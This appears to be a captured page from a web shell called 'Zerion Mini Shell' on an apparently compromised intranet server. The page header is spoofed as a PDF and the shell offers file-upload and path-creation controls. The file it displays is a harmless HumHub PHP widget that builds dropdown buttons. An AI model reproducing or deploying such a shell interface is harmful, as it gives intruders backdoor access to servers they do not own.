%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/vacivi36/intranet.vacivitta.com.br/protected/modules/cfiles/widgets/
Upload File :
Create Path :
Current File : /home/vacivi36/intranet.vacivitta.com.br/protected/modules/cfiles/widgets/DropdownButton.php

<?php

namespace humhub\modules\cfiles\widgets;

use yii\base\Widget;

class DropdownButton extends Widget
{

    public $buttons;
    public $icon;
    public $options;
    public $label;
    public $split = true;

    public function run()
    {
        $items = [];
        if (count($this->buttons) > 1) {
            foreach ($this->buttons as $button) {
                $items[] = '<li>' . str_replace($this->icon, '', $button) . '</li>';
            }
            if ($this->split) {
                array_shift($items);
            }
            return ButtonDropdown::widget([
                        'dropdown' => [
                            'items' => $items
                        ],
                        'splitButton' => $this->split ? [
                            'visible' => true,
                            'options' => $this->options
                        ] : null,
                        'button' => $this->split ? $this->buttons[0] : [
                            'encodeLabel' => false,
                            'label' => $this->icon . $this->label,
                            'options' => $this->options
                        ]
            ]);
        } elseif (count($this->buttons) > 0) {
            return $this->buttons[0];
        }
    }

}

Zerion Mini Shell 1.0